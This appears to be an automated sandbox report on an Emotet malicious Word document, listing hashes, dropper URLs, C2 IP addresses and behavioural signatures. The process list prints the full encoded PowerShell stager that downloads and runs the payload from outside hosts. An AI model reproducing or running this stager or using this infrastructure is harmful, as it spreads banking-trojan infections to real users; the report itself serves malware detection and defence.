Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    120s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    21/10/2020, 03:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_4e3e761ebff1b7e4d903dad33f0ef248562efc7c8ae950ef2ef68fcdbc365f55_2020-10-21__032535305984._doc.doc
  • Size 174KB
  • Sample201021-dr2ep3nmsx
  • SHA256 4e3e761ebff1b7e4d903dad33f0ef248562efc7c8ae950ef2ef68fcdbc365f55
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://keishixx.com/apc/ew5/
  • exe.dropper

    http://zylko.com/wp-admin/SD/
  • exe.dropper

    http://kyleesbirthdaybash.com/wp-includes/Sco/
  • exe.dropper

    https://kbpatinhaus.com/wp-includes/5r/
  • exe.dropper

    http://almaart.ir/wp-ontent/7pp/
  • exe.dropper

    https://premiumnitrilegloves.com/wp-content/7/
  • exe.dropper

    http://mommafi.com/wp-includes/S/

Extracted

Family

  • emotet

Botnet

  • Epoch1

C2

  • 173.68.199.157:80

  • 59.148.253.194:8080

  • 173.212.197.71:8080

  • 98.103.204.12:443

  • 2.45.176.233:80

  • 45.33.77.42:8080

  • 181.58.181.9:80

  • 219.92.13.25:80

  • 12.163.208.58:80

  • 2.85.9.41:8080

  • 172.104.169.32:8080

  • 149.202.72.142:7080

  • 189.223.16.99:80

  • 216.47.196.104:80

  • 191.97.154.2:80

  • 213.197.182.158:8080

  • 94.176.234.118:443

  • 46.105.114.137:8080

  • 177.144.130.105:8080

  • 174.118.202.24:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 3 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_4e3e761ebff1b7e4d903dad33f0ef248562efc7c8ae950ef2ef68fcdbc365f55_2020-10-21__032535305984._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1044
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD UwBFAHQALQBpAFQARQBNACAAVgBBAFIASQBhAEIAbABlADoAOAA0AGIAbgAwACAAIAAoACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIAIAAtAEYAIAAnAFQAZQBtAC4AJwAsACcAUwB5AFMAJwAsACcAaQBvAC4AZABJAHIAJwAsACcAZQBDAHQAbwBSAHkAJwApACAAIAApACAAOwAgACAAIAAkAFQANQBvAGIAeQA0AD0AIAAgAFsAVAB5AFAAZQBdACgAIgB7ADUAfQB7ADEAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADMAfQAiACAALQBGACAAJwBuAFQAJwAsACcAVAAuACcALAAnAHMARQBSAFYAaQBjAEUAUABvAGkAJwAsACcAUgAnACwAJwBtAEEAbgBhAEcARQAnACwAJwBTAHkAUwB0AEUATQAuAG4ARQAnACkAIAAgADsAIAAgACQASgBzAGUAZQAzAHQAYwA9ACgAJwBMACcAKwAoACcAegB0AGgAJwArACcAbwAxAHUAJwApACkAOwAkAE0AMwA4AHIAcwB2AGMAPQAkAEYAZAA5ADQANgBzAGEAIAArACAAWwBjAGgAYQByAF0AKAAxACAAKwAgADEAIAArACAAMgAwACAAKwAgADEAMAAgACsAIAAxADAAKQAgACsAIAAkAE0AdABlADQAawA5ADgAOwAkAFEAeABlAF8AcgAwAHMAPQAoACgAJwBDADMAdgAnACsAJwB0ADIAJwApACsAJwB6ACcAKwAnADkAJwApADsAIAAoAEkAdABFAE0AIAAgAHYAYQBSAGkAQQBiAGwAZQA6ADgANABiAG4AMAApAC4AVgBBAEwAdQBFADoAOgAiAGMAYABSAEUAYABBAFQAYABFAGQASQBSAEUAYwBUAG8AUgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAFgAOQAnACsAKAAnAHgAQgBmADUAYQAnACsAJwBoACcAKQArACgAJwBqADcAWAAnACsAJwA5AHgAJwArACcAQgAnACkAKwAoACcAcwAnACsAJwBuAHkAbAAnACkAKwAoACcANwBlAFgAOQAnACsAJwB4ACcAKQApACAAIAAtAEMAcgBlAFAATABhAEMARQAgACAAKABbAEMASABhAFIAXQA4ADgAKwBbAEMASABhAFIAXQA1ADcAKwBbAEMASABhAFIAXQAxADIAMAApACwAWwBDAEgAYQBSAF0AOQAyACkAKQA7ACQAWQB6AHEAaAA5AGwAcQA9ACgAJwBNAHgAJwArACcAeQAnACsAKAAnAGkAcAAnACsAJwBqADMAJwApACkAOwAgACAAKABMAHMAIAAoACIAVgBBAHIAaQBhAEIAIgArACIAbAAiACsAIgBlADoAVAA1AE8AIgArACIAYgBZADQAIgApACkALgB2AGEAbABVAEUAOgA6ACIAcwBlAGAAQwB1AGAAUgBJAHQAWQBwAFIATwBgAFQATwBjAGAATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABVADAAdAAzAHcAdQBoAD0AKAAoACcAUAAnACsAJwBwADEAZAAnACkAKwAoACcAOAByACcAKwAnADIAJwApACkAOwAkAFQAbQA2AGcAawB5AHYAIAA9ACAAKAAnAE8AMwAnACsAKAAnADcAdgAnACsAJwBzACcAKQArACgAJwB6AHgAbQAnACsAJwBnACcAKQApADsAJABOADUAawBrAGUANQBfAD0AKAAnAFQAJwArACgAJwA0AGYAZwAnACsAJwAyAG8AJwApACsAJwBzACcAKQA7ACQAUQB0AHcAbQA5AGEANwA9ACgAJwBSAHgAJwArACcAbwBnACcAKwAoACcAYQBjACcAKwAnAGwAJwApACkAOwAkAEcAawBvAF8AMAB6AHQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAMQAnACsAKAAnAGEAJwArACcARQBCAGYAJwApACsAKAAnADUAYQBoAGoAJwArACcANwAnACkAKwAoACcAMQBhACcAKwAnAEUAJwApACsAJwBCAHMAJwArACgAJwBuAHkAJwArACcAbAA3AGUAMQBhAEUAJwApACkALgAiAFIAZQBQAGAAbABBAGMAZQAiACgAKAAnADEAYQAnACsAJwBFACcAKQAsAFsAUwB0AHIAaQBOAEcAXQBbAEMASABBAHIAXQA5ADIAKQApACsAJABUAG0ANgBnAGsAeQB2ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAUABtAGIAbgAwAGwAbAA9ACgAJwBDADUAJwArACgAJwAyACcAKwAnADAAeABvAGEAJwApACkAOwAkAFEAagB0AHcAOQB6ADcAPQAuACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBlAEIAYwBsAGkARQBuAFQAOwAkAFoANwAxADcAcgB3AHoAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8ALwBrACcAKQArACcAZQBpACcAKwAoACcAcwBoACcAKwAnAGkAJwApACsAKAAnAHgAeAAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAGEAcAAnACsAJwBjACcAKQArACgAJwAvACcAKwAnAGUAdwA1AC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAnACsAJwAvAHoAeQBsACcAKwAnAGsAbwAuACcAKwAnAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwB3AHAAJwArACcALQBhAGQAbQAnACkAKwAnAGkAJwArACcAbgAnACsAKAAnAC8AUwBEAC8AKgAnACsAJwBoACcAKQArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAnAGsAeQAnACsAKAAnAGwAJwArACcAZQBlACcAKQArACcAcwAnACsAJwBiACcAKwAoACcAaQAnACsAJwByAHQAaAAnACkAKwAnAGQAYQAnACsAKAAnAHkAYgBhAHMAaAAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAHcAJwApACsAKAAnAHAALQAnACsAJwBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACkAKwAoACcAUwAnACsAJwBjAG8ALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwAHMAOgAvAC8AawBiAHAAJwArACcAYQAnACkAKwAnAHQAaQAnACsAKAAnAG4AJwArACcAaABhAHUAJwApACsAJwBzACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQAnACsAJwBpACcAKQArACcAbgBjACcAKwAnAGwAdQAnACsAKAAnAGQAJwArACcAZQBzAC8ANQAnACsAJwByACcAKQArACgAJwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGEAbABtACcAKwAnAGEAYQAnACsAJwByAHQALgAnACsAJwBpAHIALwAnACkAKwAoACcAdwBwAC0AJwArACcAbwBuACcAKwAnAHQAJwApACsAKAAnAGUAbgB0AC8AJwArACcANwBwACcAKQArACcAcAAnACsAJwAvACoAJwArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6AC8AJwArACcALwBwACcAKwAoACcAcgBlACcAKwAnAG0AJwApACsAKAAnAGkAJwArACcAdQBtAG4AJwApACsAJwBpACcAKwAnAHQAcgAnACsAKAAnAGkAbAAnACsAJwBlAGcAJwArACcAbABvAHYAJwApACsAKAAnAGUAJwArACcAcwAuACcAKQArACcAYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAcAAtACcAKQArACcAYwBvACcAKwAoACcAbgB0AGUAJwArACcAbgB0ACcAKQArACgAJwAvADcAJwArACcALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAvACcAKwAnAG0AJwApACsAKAAnAG8AbQBtAGEAJwArACcAZgAnACkAKwAoACcAaQAnACsAJwAuAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAHcAcAAnACsAJwAtAGkAbgAnACkAKwAoACcAYwBsACcAKwAnAHUAJwApACsAJwBkACcAKwAoACcAZQBzAC8AUwAnACsAJwAvACcAKQApAC4AIgBzAFAATABgAEkAVAAiACgAJABDAGwAYwBlADEANgBtACAAKwAgACQATQAzADgAcgBzAHYAYwAgACsAIAAkAFkAcAB3AHIAcAA1AGQAKQA7ACQATQA5AHcAcABtAGYAaAA9ACgAKAAnAEYAMQBqACcAKwAnAGUAJwApACsAKAAnAGsAOQAnACsAJwBqACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABTAGEAOQBfADAAbABoACAAaQBuACAAJABaADcAMQA3AHIAdwB6ACkAewB0AHIAeQB7ACQAUQBqAHQAdwA5AHoANwAuACIAZABPAHcAbgBsAE8AYABBAGAAZABGAGAAaQBMAEUAIgAoACQAUwBhADkAXwAwAGwAaAAsACAAJABHAGsAbwBfADAAegB0ACkAOwAkAFEAOABkAHoAXwBoAHIAPQAoACgAJwBaAHUAJwArACcAcAAnACkAKwAoACcAdQAxACcAKwAnADUAcgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABHAGsAbwBfADAAegB0ACkALgAiAEwAYABlAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA1ADcANwA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3ACcAKwAnAGkAbgAzADIAXwBQACcAKwAnAHIAJwApACsAJwBvACcAKwAnAGMAJwArACgAJwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBDAFIAZQBgAEEAVABFACIAKAAkAEcAawBvAF8AMAB6AHQAKQA7ACQAQgByAHoANAB3AGYAMAA9ACgAJwBVACcAKwAoACcANwBhACcAKwAnAHYAaQBoAGEAJwApACkAOwBiAHIAZQBhAGsAOwAkAEkANgB0ADEAbwB5AGsAPQAoACcAVwBxACcAKwAnADMAJwArACgAJwAyAHgAJwArACcAdgBvACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZAG8AaAByAHUAcgBhAD0AKAAnAEQAJwArACgAJwB2AGkAJwArACcAbAByACcAKwAnAGYAMgAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1656
  • C:\Users\Admin\Bf5ahj7\Bsnyl7e\O37vszxmg.exe
    C:\Users\Admin\Bf5ahj7\Bsnyl7e\O37vszxmg.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1188
    • C:\Windows\SysWOW64\odbcint\KBDUS.exe
      "C:\Windows\SysWOW64\odbcint\KBDUS.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:548

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/548-21-0x0000000000290000-0x00000000002A8000-memory.dmp
        Download

        memory/1044-5-0x0000000006D50000-0x0000000006F50000-memory.dmp
        Download

        memory/1044-6-0x0000000006D50000-0x0000000006F50000-memory.dmp
        Download

        memory/1044-2-0x00000000089B0000-0x00000000089B4000-memory.dmp
        Download

        memory/1188-17-0x00000000003C0000-0x00000000003D8000-memory.dmp
        Download

        memory/1188-16-0x0000000000270000-0x0000000000289000-memory.dmp
        Download

        memory/1656-8-0x00000000024C0000-0x00000000024C1000-memory.dmp
        Download

        memory/1656-13-0x000000001B990000-0x000000001B991000-memory.dmp
        Download

        memory/1656-12-0x000000001AA20000-0x000000001AA21000-memory.dmp
        Download

        memory/1656-11-0x0000000001EA0000-0x0000000001EA1000-memory.dmp
        Download

        memory/1656-10-0x0000000002500000-0x0000000002501000-memory.dmp
        Download

        memory/1656-9-0x000000001AB30000-0x000000001AB31000-memory.dmp
        Download

        memory/1656-7-0x000007FEE8BF0000-0x000007FEE95DC000-memory.dmp
        Download

        memory/1984-22-0x000007FEF6430000-0x000007FEF66AA000-memory.dmp
        Download